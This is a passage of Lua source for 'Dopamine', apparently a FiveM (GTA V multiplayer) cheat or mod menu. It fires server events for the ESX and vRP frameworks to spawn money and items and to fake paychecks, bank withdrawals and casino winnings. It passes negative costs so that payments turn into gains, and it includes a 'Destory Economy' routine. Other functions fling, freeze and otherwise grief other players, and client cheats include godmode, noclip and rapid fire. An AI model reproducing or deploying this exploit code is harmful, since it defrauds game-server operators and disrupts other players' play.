  3120. if Dopamine.comboBox('Harvest Items ~r~(!)', {'Weed', 'Opium', 'Meth', 'Coke', 'Gaz Bottle', 'Fix Tool', 'Caro Tool'}, currentESXHarvestItem, selectedESXHarvestItem,
  3121. function(currentIndex, selectedIndex)
  3122. currentESXHarvestItem = currentIndex
  3123. selectedESXHarvestItem = currentIndex
  3124. end)
  3125. then
  3126. Dopamine.functions.exploits.esx_harvestitems()
  3127. elseif Dopamine.comboBox('Generate Job Paycheck ~r~(!)', Dopamine.menuTables.exploitableJobsTable.Money, currentESXJobPaycheck, selectedESXJobPaycheck,
  3128. function(currentIndex, selectedIndex)
  3129. currentESXJobPaycheck = currentIndex
  3130. selectedESXJobPaycheck = currentIndex
  3131. end)
  3132. then
  3133. local money = Dopamine.trashFunctions.keyboardInput('Enter the amount of money for paycheck', '', 10)
  3134. if not Dopamine.functions.game.isNullOrEmpty(money) then
  3135. Dopamine.dTCE(false, true, Dopamine.menuTables.exploitableJobsTable.Money.Value[selectedESXJobPaycheck]..':pay', tonumber(money))
  3136. end
  3137. elseif Dopamine.comboBox('Spawn J~s~obs Items ~r~(!)', Dopamine.menuTables.exploitableJobsTable.Item, currentESXItemSpawn, selectedESXItemSpawn,
  3138. function(currentIndex, selectedIndex)
  3139. currentESXItemSpawn = currentIndex
  3140. selectedESXItemSpawn = currentIndex
  3141. end)
  3142. then
  3143. Dopamine.functions.exploits.esx_jobitems()
  3144. elseif Dopamine.comboBox('Spawn Custom Items ~r~(!)', Dopamine.menuTables.customExploitableItems.Item, currentESXCustomItemSpawn, selectedESXCustomItemSpawn,
  3145. function(currentIndex, selectedIndex)
  3146. currentESXCustomItemSpawn = currentIndex
  3147. selectedESXCustomItemSpawn = currentIndex
  3148. end)
  3149. then
  3150. Dopamine.functions.exploits.esx_spawncustomitems()
  3151. elseif Dopamine.button('Spawn A Custom Item ~r~(!)', 'Server') then
  3152. Dopamine.functions.exploits.esx_spawncustomitem()
  3153. elseif Dopamine.button('Stop Harvesting ~r~(!)', 'Server') then
  3154. Dopamine.functions.exploits.esx_harvest_stop()
  3155. elseif Dopamine.button('Wash Dirty Money ~r~(!)', 'Server') then
  3156. Dopamine.functions.exploits.esx_moneywash()
  3157. elseif Dopamine.button('Moneymaker ~r~(!)', 'Server') then
  3158. Dopamine.functions.exploits.esx_moneymaker()
  3159. elseif Dopamine.button('Destory Economy ~r~(!)', 'Server') then
  3160. Dopamine.functions.exploits.run_esx_moneymaker(1337539100, 25)
  3161. Dopamine.functions.exploits.esx_give_something('item_money', 'money', 10000000)
  3162. for yeet=0, #Dopamine.natives.getActivePlayers() do
  3163. Dopamine.functions.sPO.SpawnLegalVehicle('blista', yeet, Dopamine.trashFunctions.getRandomLetter(3) .. ' ' .. Dopamine.trashFunctions.getRandomNumber(4))
  3164. end
  3165. end
  3166.  
  3167. Dopamine.runDrawMenu()
  3168. elseif Dopamine.isMenuOpened('serverOptionsTriggerEventsVRP') then
  3169. if Dopamine.button('Toggle Handcuffs', 'Client') then
  3170. vRP.toggleHandcuff()
  3171. elseif Dopamine.button('Clear Wanted Level', 'Client') then
  3172. vRP.applyWantedLevel(0)
  3173. elseif Dopamine.button('Trucker Job Money', 'Client') then
  3174. local money = Dopamine.trashFunctions.keyboardInput('Enter $ Amount:', '', 12)
  3175. if not Dopamine.functions.game.isNullOrEmpty(money) then
  3176. local distance = money / 3.80 --[[ money is distance*3.80]]
  3177. vRPtruckS = Tunnel.getInterface('vRP_trucker', 'vRP_trucker')
  3178. vRPtruckS.finishTruckingDelivery({distance})
  3179. end
  3180. elseif Dopamine.button('Casino Chips', 'Client') then
  3181. local amount = Dopamine.trashFunctions.keyboardInput('Enter Chips Amount:', '', 12)
  3182. if not Dopamine.functions.game.isNullOrEmpty(amount) then
  3183. vRPcasinoS = Tunnel.getInterface('vRP_casino','vRP_casino')
  3184. vRPcasinoS.payRouletteWinnings({amount, 2})
  3185. end
  3186. elseif Dopamine.button('Chests Money', 'Server') then
  3187. Dopamine.dTCE(true, true, 'basic')
  3188. Dopamine.dTCE(true, true, 'silver')
  3189. Dopamine.dTCE(true, true, 'legendary')
  3190. elseif Dopamine.button('Los Santos Customs', 'Server') then
  3191. local m = Dopamine.trashFunctions.keyboardInput('Enter amount of money', '', 12)
  3192. if not Dopamine.functions.game.isNullOrEmpty(m) then
  3193. Dopamine.dTCE(false, true, 'lscustoms:payGarage', { costs = -m })
  3194. end
  3195. elseif Dopamine.button('Slot Machine', 'Server') then
  3196. local m = Dopamine.trashFunctions.keyboardInput('Enter amount of money', '', 12)
  3197. if not Dopamine.functions.game.isNullOrEmpty(m) then
  3198. Dopamine.dTCE(false, true, 'vrp_slotmachine:server:2', m)
  3199. end
  3200. elseif Dopamine.button('Legacy Fuel', 'Server') then
  3201. local m = Dopamine.trashFunctions.keyboardInput('Enter amount of money', '', 12)
  3202. if not Dopamine.functions.game.isNullOrEmpty(m) then
  3203. Dopamine.dTCE(false, true, 'LegacyFuel:PayFuel', { costs = -m })
  3204. end
  3205. elseif Dopamine.button('Get Driving License', 'Server') then
  3206. Dopamine.dTCE(false, true, 'dmv:success')
  3207. elseif Dopamine.button('Bank Deposit', 'Server') then
  3208. local m = Dopamine.trashFunctions.keyboardInput('Enter amount of money', '', 12)
  3209. if not Dopamine.functions.game.isNullOrEmpty(m) then
  3210. Dopamine.dTCE(false, true, 'Banca:deposit', m)
  3211. Dopamine.dTCE(false, true, 'bank:deposit', m)
  3212. end
  3213. elseif Dopamine.button('Bank Withdraw', 'Server') then
  3214. local m = Dopamine.trashFunctions.keyboardInput('Enter amount of money', '', 12)
  3215. if not Dopamine.functions.game.isNullOrEmpty(m) then
  3216. Dopamine.dTCE(false, true, 'bank:withdraw', m)
  3217. Dopamine.dTCE(false, true, 'Banca:withdraw', m)
  3218. end
  3219. end
  3220.  
  3221. Dopamine.runDrawMenu()
  3222. end
  3223.  
  3224. local currentVehicle = Dopamine.datastore.pLocalPlayer.cVehicle
  3225. if currentVehicle then
  3226. SetVehicleModKit(currentVehicle, 0)
  3227. for i, actual_i in pairs(Dopamine.menuTables.vehiclePerformanceTable) do
  3228. if Dopamine.isMenuOpened('vehicleLosSantosCustomsPerformance'..actual_i.name) then
  3229. local modType = actual_i.id
  3230. local modName = actual_i.name..' Level '
  3231. local modCount = GetNumVehicleMods(currentVehicle, modType) - 1
  3232. for i=0, modCount, 1 do
  3233. if Dopamine.button(modName..i, 'Native') then
  3234. SetVehicleMod(currentVehicle, modType, i)
  3235. end
  3236. end
  3237.  
  3238. Dopamine.runDrawMenu()
  3239. end
  3240. end
  3241. end
  3242.  
  3243. --[[local currentVehicle = Dopamine.datastore.pLocalPlayer.cVehicle
  3244. if currentVehicle then
  3245. SetVehicleModKit(currentVehicle, 0)
  3246. local modType = 15
  3247. local modName = 'Suspension Level '
  3248. local modCount = GetNumVehicleMods(currentVehicle, modType) - 1
  3249. for i=0, modCount, 1 do
  3250. if Dopamine.button(modName..i, 'Native') then
  3251. SetVehicleMod(currentVehicle, modType, i)
  3252. end
  3253. end
  3254. end]]
  3255.  
  3256. --[[
  3257. Notifications
  3258. ]]
  3259.  
  3260. if #Dopamine.cachedNotifications > 0 then
  3261. for notificationIndex = 1, #Dopamine.cachedNotifications do
  3262. local notification = Dopamine.cachedNotifications[notificationIndex]
  3263.  
  3264. if notification then
  3265. notification['opacity'] = (notification['opacity'] or (notification['time'] / 1000) * 60) - 1
  3266.  
  3267. local offset = 0.005 + (notificationIndex * .05)
  3268. local notificationTimer = (GetGameTimer() - notification['startTime']) / notification['time'] * 100
  3269.  
  3270. Dopamine.draw_3D(0.5, 0.8 * offset, notification['text'], notification['opacity'])
  3271.  
  3272. if notificationTimer >= 100 then
  3273. Dopamine.removeNotification(notificationIndex)
  3274. end
  3275. end
  3276. end
  3277. end
  3278.  
  3279. --[[
  3280. Run every frame/tick | Make sure that functions do not use pWait
  3281. ]]
  3282.  
  3283. SetPlayerInvincible(PlayerId(), Dopamine.storedControls.godmode)
  3284. SetEntityInvincible(Dopamine.datastore.pLocalPlayer.pedId, Dopamine.storedControls.godmode)
  3285.  
  3286. SetEntityProofs(Dopamine.datastore.pLocalPlayer.pedId, Dopamine.storedControls.godmode, Dopamine.storedControls.godmode, Dopamine.storedControls.godmode, Dopamine.storedControls.godmode, Dopamine.storedControls.godmode)
  3287.  
  3288. SetPedCanRagdoll(Dopamine.datastore.pLocalPlayer.pedId, not Dopamine.storedControls.noRagdoll)
  3289.  
  3290. if Dopamine.storedControls.semiGodmode then
  3291. if GetEntityHealth(Dopamine.datastore.pLocalPlayer.pedId) < 200 then
  3292. Dopamine.natives.setEntityHealth(Dopamine.datastore.pLocalPlayer.pedId, 200)
  3293. end
  3294. end
  3295.  
  3296. if Dopamine.storedControls.neverWanted then
  3297. ClearPlayerWantedLevel(PlayerId())
  3298. end
  3299.  
  3300. if Dopamine.storedControls.invisible then
  3301. Dopamine.storedControls.bInvisible = true
  3302. Dopamine.natives.setEntityVisible(Dopamine.datastore.pLocalPlayer.pedId, 0, 0)
  3303. end
  3304. if not Dopamine.storedControls.invisible and Dopamine.storedControls.bInvisible then
  3305. Dopamine.storedControls.bInvisible = false
  3306. Dopamine.natives.setEntityVisible(Dopamine.datastore.pLocalPlayer.pedId, 1, 1)
  3307. end
  3308.  
  3309. if Dopamine.storedControls.infStamina then
  3310. ResetPlayerStamina(PlayerId())
  3311. end
  3312.  
  3313. if Dopamine.storedControls.noClip then
  3314. Dopamine.functions.noclipAdv()
  3315. end
  3316.  
  3317. if Dopamine.storedControls.superJump then
  3318. SetSuperJumpThisFrame(PlayerId())
  3319. end
  3320.  
  3321. if Dopamine.storedControls.tinyPlayer then
  3322. Dopamine.storedControls.bTinyPlayer = true
  3323. SetPedConfigFlag(Dopamine.datastore.pLocalPlayer.pedId, 223, true)
  3324. elseif not Dopamine.storedControls.tinyPlayer and Dopamine.storedControls.bTinyPlayer then
  3325. Dopamine.storedControls.bTinyPlayer = false
  3326. SetPedConfigFlag(Dopamine.datastore.pLocalPlayer.pedId, 223, false)
  3327. end
  3328.  
  3329. SetSeethrough(Dopamine.storedControls.heatVision)
  3330. SetNightvision(Dopamine.storedControls.nightVision)
  3331.  
  3332. if Dopamine.storedControls.flashmanSP then
  3333. Dopamine.functions.doForceFieldTick(5)
  3334. SetSuperJumpThisFrame(PlayerId())
  3335. SetRunSprintMultiplierForPlayer(PlayerId(), 1.49)
  3336. SetPedMoveRateOverride(PlayerId(), 10.0)
  3337. RequestNamedPtfxAsset('core')
  3338. UseParticleFxAssetNextCall('core')
  3339. StartNetworkedParticleFxNonLoopedOnEntity('ent_sht_electrical_box', Dopamine.datastore.pLocalPlayer.pedId, 0.0, 0.0, -0.5, 0.0, 0.0, 0.0, 1.0, false, false, false)
  3340. end
  3341.  
  3342. if Dopamine.storedControls.sPOFlingPlayer then
  3343. local coords = GetEntityCoords(GetPlayerPed(Dopamine.storedControls.sPOFlingedPlayer))
  3344. Dopamine.natives.addExplosion(coords.x, coords.y, coords.z, 4, 0.0, 0, 1, 0.0, 1)
  3345. end
  3346.  
  3347. if Dopamine.storedControls.aPOFreeze then
  3348. Dopamine.functions.aPO.freezeAll()
  3349. end
  3350.  
  3351. if Dopamine.storedControls.aPOFlyingCars then
  3352. Dopamine.functions.aPO.flyingCars()
  3353. end
  3354.  
  3355. if Dopamine.storedControls.aPODisableDrivingCars then
  3356. Dopamine.functions.aPO.disableDrivingCars()
  3357. end
  3358.  
  3359. if Dopamine.storedControls.aPONoisyVehs then
  3360. Dopamine.functions.aPO.noisyVehicles()
  3361. end
  3362.  
  3363. if selectedCustomCrosshair == 2 then
  3364. ShowHudComponentThisFrame(14)
  3365. elseif selectedCustomCrosshair == 3 then
  3366. Dopamine.functions.drawTextCrosshairs('+', 0.495, 0.484, 1.0, 0.3, Dopamine.mainColor)
  3367. end
  3368.  
  3369. if Dopamine.storedControls.visDrawFPS then
  3370. local getFPS = (1.0 / GetFrameTime())
  3371. Dopamine.functions.drawTextCrosshairs('~w~fps: ~s~'..Dopamine.trashFunctions.math_round(getFPS), 0.01, 0.02, Dopamine.mainColor)
  3372. end
  3373.  
  3374. Dopamine.natives.setArtificialLightsState(Dopamine.storedControls.visBlackout)
  3375.  
  3376. if Dopamine.storedControls.visForceRadar then
  3377. DisplayRadar(true)
  3378. end
  3379.  
  3380. if pedDensityXSelected < 1 then
  3381. SetVehicleDensityMultiplierThisFrame(pedDensityXSelected)
  3382. SetRandomVehicleDensityMultiplierThisFrame(pedDensityXSelected)
  3383. SetParkedVehicleDensityMultiplierThisFrame(pedDensityXSelected)
  3384. SetAmbientVehicleRangeMultiplierThisFrame(1.0)
  3385. SetPedDensityMultiplierThisFrame(pedDensityXSelected)
  3386. SetScenarioPedDensityMultiplierThisFrame(pedDensityXSelected, pedDensityXSelected)
  3387. DistantCopCarSirens(false)
  3388. SetGarbageTrucks(false)
  3389. SetRandomBoats(false)
  3390. SetCreateRandomCops(false)
  3391. SetCreateRandomCopsNotOnScenarios(false)
  3392. SetCreateRandomCopsOnScenarios(false)
  3393.  
  3394. local x,y,z = table.unpack(GetEntityCoords(Dopamine.datastore.pLocalPlayer.pedId))
  3395. ClearAreaOfVehicles(x, y, z, 1000, false, false, false, false, false)
  3396. RemoveVehiclesFromGeneratorsInArea(x - 500.0, y - 500.0, z - 500.0, x + 500.0, y + 500.0, z + 500.0);
  3397. end
  3398.  
  3399. if Dopamine.comboBoxes[3]._actual[vehiclesEngineTorqueBoostCurrent] > 1 then
  3400. SetVehicleEngineTorqueMultiplier(GetVehiclePedIsIn(GetPlayerPed(-1), false), Dopamine.comboBoxes[3]._actual[vehiclesEngineTorqueBoostCurrent] + 0.0)
  3401. end
  3402.  
  3403. if Dopamine.comboBoxes[3]._actual[vehiclesEnginePowerBoostSelected] > 1 then
  3404. SetVehicleEnginePowerMultiplier(GetVehiclePedIsIn(GetPlayerPed(-1), false), Dopamine.comboBoxes[3]._actual[vehiclesEnginePowerBoostSelected] + 1.0)
  3405. end
  3406.  
  3407. if Dopamine.storedControls.vehGodmode and IsPedInAnyVehicle(PlayerPedId(-1), true) then
  3408. SetEntityInvincible(Dopamine.datastore.pLocalPlayer.cVehicle, true)
  3409. end
  3410.  
  3411. if Dopamine.storedControls.vehAlwaysWheelie then
  3412. if IsPedInAnyVehicle(GetPlayerPed(-1)) and GetPedInVehicleSeat(GetVehiclePedIsIn(GetPlayerPed(-1)), -1) == GetPlayerPed(-1) then
  3413. SetVehicleWheelieState(GetVehiclePedIsIn(GetPlayerPed(-1)), 129)
  3414. end
  3415. end
  3416.  
  3417. if Dopamine.storedControls.vehRainbowCol then
  3418. local rgb = Dopamine.trashFunctions.returnRGB(1.0)
  3419. Dopamine.trashFunctions.reqControlOnce(Dopamine.datastore.pLocalPlayer.cVehicle)
  3420. SetVehicleCustomPrimaryColour(Dopamine.datastore.pLocalPlayer.cVehicle, rgb.r, rgb.g, rgb.b)
  3421. SetVehicleCustomSecondaryColour(Dopamine.datastore.pLocalPlayer.cVehicle, rgb.r, rgb.g, rgb.b)
  3422. end
  3423.  
  3424. if Dopamine.storedControls.vehRainbowLights then
  3425. local rgb = Dopamine.trashFunctions.returnRGB(1.0)
  3426. Dopamine.trashFunctions.reqControlOnce(Dopamine.datastore.pLocalPlayer.cVehicle)
  3427. SetVehicleNeonLightsColour(Dopamine.datastore.pLocalPlayer.cVehicle, rgb.r, rgb.g, rgb.b)
  3428. for i = 1, 12 do
  3429. SetVehicleHeadlightsColour(Dopamine.datastore.pLocalPlayer.cVehicle, i)
  3430. end
  3431. end
  3432.  
  3433. SetPedCanBeKnockedOffVehicle(Dopamine.datastore.pLocalPlayer.pedId, Dopamine.storedControls.vehNoFall)
  3434.  
  3435. if Dopamine.storedControls.vehWallride then
  3436. if (IsPedInVehicle(Dopamine.datastore.pLocalPlayer.pedId, GetVehiclePedIsIn(Dopamine.datastore.pLocalPlayer.pedId, true), true)) then
  3437. ApplyForceToEntity(GetVehiclePedIsIn(Dopamine.datastore.pLocalPlayer.pedId, true), 1, 0, 0, -0.4, 0, 0, 0, 1, true, true, true, true, true)
  3438. end
  3439. end
  3440.  
  3441. if Dopamine.storedControls.teleShowCoords then
  3442. x, y, z = table.unpack(GetEntityCoords(GetPlayerPed(-1), true))
  3443. roundx = tonumber(string.format('%.2f', x))
  3444. roundy = tonumber(string.format('%.2f', y))
  3445. roundz = tonumber(string.format('%.2f', z))
  3446. Dopamine.functions.drawTextCrosshairs('~w~x: ~s~' .. roundx, 0.01, 0.04, Dopamine.mainColor)
  3447. Dopamine.functions.drawTextCrosshairs('~w~y: ~s~' .. roundy, 0.01, 0.06, Dopamine.mainColor)
  3448. Dopamine.functions.drawTextCrosshairs('~w~z: ~s~' .. roundz, 0.01, 0.08, Dopamine.mainColor)
  3449. end
  3450.  
  3451. if Dopamine.storedControls.visForceThirdperson then
  3452. SetFollowPedCamViewMode(1)
  3453. end
  3454.  
  3455. if tonumber(intToFloat(Dopamine.storedControls.weaponsDamageMultiplierSet)) then
  3456. SetPlayerWeaponDamageModifier(PlayerId(), tonumber(intToFloat(Dopamine.storedControls.weaponsDamageMultiplierSet)))
  3457. SetPlayerMeleeWeaponDamageModifier(PlayerId(), tonumber(intToFloat(Dopamine.storedControls.weaponsDamageMultiplierSet)))
  3458. end
  3459.  
  3460. if Dopamine.storedControls.weapExplosiveAmmo then
  3461. local impact, coords = GetPedLastWeaponImpactCoord(Dopamine.datastore.pLocalPlayer.pedId)
  3462. if impact then
  3463. Dopamine.natives.addExplosion(coords.x, coords.y, coords.z, 2, 100.0, true, false, 0)
  3464. end
  3465. SetExplosiveMeleeThisFrame(PlayerId())
  3466. end
  3467.  
  3468. if Dopamine.storedControls.weapCustomBullet then
  3469. Dopamine.functions.customBullet()
  3470. end
  3471.  
  3472. if Dopamine.storedControls.weapTeleportGun then
  3473. local impact, coords = GetPedLastWeaponImpactCoord(Dopamine.datastore.pLocalPlayer.pedId)
  3474. if impact then
  3475. Dopamine.functions.teleportSelf(coords.x, coords.y, coords.z + 3)
  3476. end
  3477. end
  3478.  
  3479. if Dopamine.storedControls.weapRapidFire then
  3480. Dopamine.functions.rapidFireTick()
  3481. end
  3482.  
  3483. --[[
  3484. Keybinds
  3485. ]]
  3486.  
  3487. if Dopamine.keyBinds.currentKeybindMenu.handle and IsDisabledControlJustPressed(0, Keys[Dopamine.keyBinds.currentKeybindMenu.handle]) then
  3488. Dopamine.openMenu('dopamine')
  3489. end
  3490.  
  3491. if Dopamine.keyBinds.currentKeybindHealth.handle and IsDisabledControlJustPressed(0, Keys[Dopamine.keyBinds.currentKeybindHealth.handle]) then
  3492. Dopamine.natives.setEntityHealth(PlayerPedId(-1), 200)
  3493. Dopamine.pushNotification('Health refilled', 5000)
  3494. end
  3495.  
  3496. if Dopamine.keyBinds.currentKeybindArmour.handle and IsDisabledControlJustPressed(0, Keys[Dopamine.keyBinds.currentKeybindArmour.handle]) then
  3497. Dopamine.natives.setPedArmour(PlayerPedId(-1), 200)
  3498. Dopamine.pushNotification('Armour refilled', 5000)
  3499. end
  3500.  
  3501. if Dopamine.keyBinds.currentKeybindNoclip.handle and IsDisabledControlJustPressed(0, Keys[Dopamine.keyBinds.currentKeybindNoclip.handle]) then
  3502. Dopamine.functions.toggleNoclip()
  3503. end
  3504.  
  3505. pWait(0)
  3506. end
  3507. end)
  3508.  
  3509. --[[
  3510. Run 2 step separately because of pWait usage
  3511. ]]
  3512.  
  3513. pCreateThread(function()
  3514. while Dopamine.shouldShowMenu do
  3515. if Dopamine.storedControls.veh2Step then
  3516. Dopamine.functions.vehicle2Step()
  3517. end
  3518.  
  3519. if Dopamine.storedControls.vehDriftSmoke then
  3520. RequestNamedPtfxAsset('scr_recartheft')
  3521. while not HasNamedPtfxAssetLoaded('scr_recartheft') do
  3522. pWait(1)
  3523. end
  3524. RequestNamedPtfxAsset('core')
  3525. while not HasNamedPtfxAssetLoaded('core') do
  3526. pWait(1)
  3527. end
  3528. ang,speed = Dopamine.functions.game.vehicleAngle(GetVehiclePedIsUsing(GetPlayerPed(-1)))
  3529. local _SIZE = 0.25
  3530. local _DENS = 25
  3531. local _BURNOUT_SIZE = 1.5
  3532. if IsPedInAnyVehicle(GetPlayerPed(-1), false) then
  3533. if speed >= 1.0 and ang ~= 0 then
  3534. Dopamine.functions.game.driftSmoke('scr_recartheft', 'scr_wheel_burnout', GetVehiclePedIsUsing(GetPlayerPed(-1)), _DENS, _SIZE)
  3535. elseif --[[speed < 1.0 and]] IsVehicleInBurnout(GetVehiclePedIsUsing(GetPlayerPed(-1))) then
  3536. Dopamine.functions.game.driftSmoke('core', 'exp_grd_bzgas_smoke', GetVehiclePedIsUsing(GetPlayerPed(-1)), 3, _BURNOUT_SIZE)
  3537. end
  3538. end
  3539. end
  3540.  
  3541. if Dopamine.storedControls.visForceGamertags then
  3542. local plist = Dopamine.natives.getActivePlayers()
  3543. for i = 1, #plist do
  3544. local id = plist[i]
  3545. if GetPlayerPed(id) ~= GetPlayerPed(-1) then
  3546. local ped = GetPlayerPed(id)
  3547. --[[blip = GetBlipFromEntity( ped )]]
  3548.  
  3549. local x1, y1, z1 = table.unpack( GetEntityCoords(Dopamine.datastore.pLocalPlayer.pedId, true) )
  3550. local x2, y2, z2 = table.unpack( GetEntityCoords(GetPlayerPed(id), true) )
  3551. local distance = Dopamine.trashFunctions.math_round(#(vector3(x1, y1, z1) - vector3(x2, y2, z2)), 1)
  3552.  
  3553. if distance < 125 then
  3554. if NetworkIsPlayerTalking(id) then
  3555. Dopamine.functions.drawText3DGamerTags(x2, y2, z2 + 1.25, '' .. GetPlayerServerId(id) .. ' | ' .. GetPlayerName(id) .. '', 30, 144, 255)
  3556. else
  3557. Dopamine.functions.drawText3DGamerTags(x2, y2, z2 + 1.25, '' .. GetPlayerServerId(id) .. ' | ' .. GetPlayerName(id) .. '', 255, 255, 255)
  3558. end
  3559. end
  3560. end
  3561. end
  3562. end
  3563.  
  3564. Dopamine.functions.playerBlips()
  3565.  
  3566. pWait(0)
  3567. end
  3568. end)
  3569.  
  3570. Dopamine.functions.drawText3DGamerTags = function(x, y, z, text, r, g, b)
  3571. SetDrawOrigin(x, y, z, 0)
  3572. Dopamine.natives.setTextFont(0)
  3573. Dopamine.natives.setTextProportional(0)
  3574. Dopamine.natives.setTextScale(0.0, 0.20)
  3575. Dopamine.natives.setTextColour(r, g, b, 255)
  3576. SetTextDropshadow(0, 0, 0, 0, 255)
  3577. SetTextEdge(2, 0, 0, 0, 150)
  3578. Dopamine.natives.setTextDropShadow()
  3579. Dopamine.natives.setTextOutline()
  3580. Dopamine.natives.beginTextCommandDisplayText('STRING')
  3581. SetTextCentre(1)
  3582. Dopamine.natives.addTextComponentSubstringPlayerName(text)
  3583. Dopamine.natives.endTextCommandDisplayText(0.0, 0.0)
  3584. ClearDrawOrigin()
  3585. end
  3586.  
  3587. --[[
  3588. Functions here to keep menu clean
  3589. ]]
  3590.  
  3591. --[[
  3592. Math functions here instead of using frameworks from servers.
  3593. ]]
  3594.  
  3595. Dopamine.functions.Math = {}
  3596.  
  3597. Dopamine.functions.Math.Round = function(value, numDecimalPlaces)
  3598. if numDecimalPlaces then
  3599. local power = 10^numDecimalPlaces
  3600. return math.floor((value * power) + 0.5) / (power)
  3601. else
  3602. return math.floor(value + 0.5)
  3603. end
  3604. end
  3605.  
  3606. Dopamine.functions.Math.GroupDigits = function(value)
  3607. local left,num,right = string.match(value,'^([^%d]*%d)(%d*)(.-)$')
  3608.  
  3609. return left..(num:reverse():gsub('(%d%d%d)','%1' .. _U('locale_digit_grouping_symbol')):reverse())..right
  3610. end
  3611.  
  3612. Dopamine.functions.Math.Trim = function(value)
  3613. if value then
  3614. return (string.gsub(value, '^%s*(.-)%s*$', '%1'))
  3615. else
  3616. return nil
  3617. end
  3618. end
  3619.  
  3620. Dopamine.functions.doesResourceExist = function(resource_name)
  3621. if GetResourceState(resource_name) == 'started' or
  3622. string.upper(GetResourceState(resource_name)) == 'started' or
  3623. string.lower(GetResourceState(resource_name)) == 'started' or
  3624. GetResourceState(resource_name..'-master') == 'started' or
  3625. string.upper(GetResourceState(resource_name..'-master')) == 'started' or
  3626. string.lower(GetResourceState(resource_name..'-master')) == 'started' then
  3627. return true
  3628. else
  3629. return false
  3630. end
  3631. end
  3632.  
  3633. Dopamine.functions.drawTextCrosshairs = function(C,x,y)
  3634. Dopamine.natives.setTextColour(Dopamine.mainColor.r, Dopamine.mainColor.g, Dopamine.mainColor.b, 255)
  3635. Dopamine.natives.setTextFont(0)
  3636. Dopamine.natives.setTextProportional(1)
  3637. Dopamine.natives.setTextScale(0.0,0.4)
  3638. SetTextDropshadow(1,0,0,0,255)
  3639. SetTextEdge(1,0,0,0,255)
  3640. Dopamine.natives.setTextDropShadow()
  3641. Dopamine.natives.setTextOutline()
  3642. Dopamine.natives.beginTextCommandDisplayText('STRING')
  3643. Dopamine.natives.addTextComponentSubstringPlayerName(C)
  3644. Dopamine.natives.endTextCommandDisplayText(x,y)
  3645. end
  3646.  
  3647. Dopamine.functions.teleportToWaypoint = function()
  3648. pCreateThread(function()
  3649. local entity = Dopamine.datastore.pLocalPlayer.pedId
  3650. if IsPedInAnyVehicle(entity, false) then
  3651. entity = GetVehiclePedIsUsing(entity)
  3652. end
  3653. local success = false
  3654. local blipFound = false
  3655. local blipIterator = GetBlipInfoIdIterator()
  3656. local blip = GetFirstBlipInfoId(8)
  3657.  
  3658. while DoesBlipExist(blip) do
  3659. if GetBlipInfoIdType(blip) == 4 then
  3660. cx, cy, cz = table.unpack(GetBlipInfoIdCoord(blip, Citizen.ReturnResultAnyway(), Citizen.ResultAsVector()))
  3661. blipFound = true
  3662. break
  3663. end
  3664. blip = GetNextBlipInfoId(blipIterator)
  3665. pWait(0)
  3666. end
  3667.  
  3668. if blipFound then
  3669. local groundFound = false
  3670. local yaw = GetEntityHeading(entity)
  3671.  
  3672. for i = 0, 1000, 1 do
  3673. Dopamine.natives.setEntityCoordsNoOffset(entity, cx, cy, ToFloat(i), false, false, false)
  3674. SetEntityRotation(entity, 0, 0, 0, 0, 0)
  3675. SetEntityHeading(entity, yaw)
  3676. SetGameplayCamRelativeHeading(0)
  3677. pWait(0)
  3678. if GetGroundZFor_3dCoord(cx, cy, ToFloat(i), cz, false) then
  3679. cz = ToFloat(i)
  3680. groundFound = true
  3681. break
  3682. end
  3683. end
  3684. if not groundFound then
  3685. cz = -300.0
  3686. end
  3687. success = true
  3688. end
  3689.  
  3690. if success then
  3691. Dopamine.natives.setEntityCoordsNoOffset(entity, cx, cy, cz, false, false, true)
  3692. SetGameplayCamRelativeHeading(0)
  3693. if IsPedSittingInAnyVehicle(Dopamine.datastore.pLocalPlayer.pedId) then
  3694. if GetPedInVehicleSeat(Dopamine.datastore.pLocalPlayer.cVehicle, -1) == Dopamine.datastore.pLocalPlayer.pedId then
  3695. SetVehicleOnGroundProperly(Dopamine.datastore.pLocalPlayer.cVehicle)
  3696. end
  3697. end
  3698. end
  3699. end)
  3700. end
  3701. Dopamine.functions.teleportSelf = function(x, y, z)
  3702. if IsPedInAnyVehicle(GetPlayerPed(-1), 0) and GetPedInVehicleSeat(GetVehiclePedIsIn(GetPlayerPed(-1), 0), -1) == GetPlayerPed(-1) then
  3703. entity = GetVehiclePedIsIn(GetPlayerPed(-1), 0)
  3704. else
  3705. entity = GetPlayerPed(-1)
  3706. end
  3707. if entity then
  3708. Dopamine.natives.setEntityCoords(entity, x, y, z)
  3709. end
  3710. end
  3711.  
  3712. Dopamine.functions.runParticle = function()
  3713. RequestNamedPtfxAsset('proj_xmas_firework')
  3714. UseParticleFxAssetNextCall('proj_xmas_firework')
  3715. StartNetworkedParticleFxNonLoopedOnEntity('scr_firework_xmas_burst_rgw', Dopamine.datastore.pLocalPlayer.pedId, 0.0, 0.0, -0.5, 0.0, 0.0, 0.0, 1.0, false, false, false)
  3716. end
  3717.  
  3718. Dopamine.functions.runInjectParticle = function()
  3719. RequestNamedPtfxAsset('proj_xmas_firework')
  3720. UseParticleFxAssetNextCall('proj_xmas_firework')
  3721. StartNetworkedParticleFxNonLoopedOnEntity('scr_firework_xmas_burst_rgw', Dopamine.datastore.pLocalPlayer.pedId, 0.0, 0.0, -0.5, 0.0, 0.0, 0.0, 1.0, false, false, false)
  3722. StartNetworkedParticleFxNonLoopedOnEntity('scr_firework_xmas_spiral_burst_rgw', Dopamine.datastore.pLocalPlayer.pedId, 0.0, 0.0, -0.5, 0.0, 0.0, 0.0, 1.0, false, false, false)
  3723. StartNetworkedParticleFxNonLoopedOnEntity('scr_xmas_firework_sparkle_spawn', Dopamine.datastore.pLocalPlayer.pedId, 0.0, 0.0, -0.5, 0.0, 0.0, 0.0, 1.0, false, false, false)
  3724. end
  3725. --[[Dopamine.functions.runInjectParticle()]]
  3726.  
  3727. Dopamine.functions.respawnPed = function(ped, coords, heading)
  3728. Dopamine.natives.setEntityCoordsNoOffset(ped, coords.x, coords.y, coords.z, false, false, false, true)
  3729. NetworkResurrectLocalPlayer(coords.x, coords.y, coords.z, heading, true, false)
  3730. SetPlayerInvincible(ped, false)
  3731. Dopamine.dTCE(false, false, 'playerSpawned', coords.x, coords.y, coords.z)
  3732. ClearPedBloodDamage(ped)
  3733. end
  3734.  
  3735. Dopamine.functions.nativeRevive = function()
  3736. local coords = GetEntityCoords(Dopamine.datastore.pLocalPlayer.pedId)
  3737.  
  3738. local formattedCoords = {
  3739. x = Dopamine.functions.Math.Round(coords.x, 1),
  3740. y = Dopamine.functions.Math.Round(coords.y, 1),
  3741. z = Dopamine.functions.Math.Round(coords.z, 1)
  3742. }
  3743.  
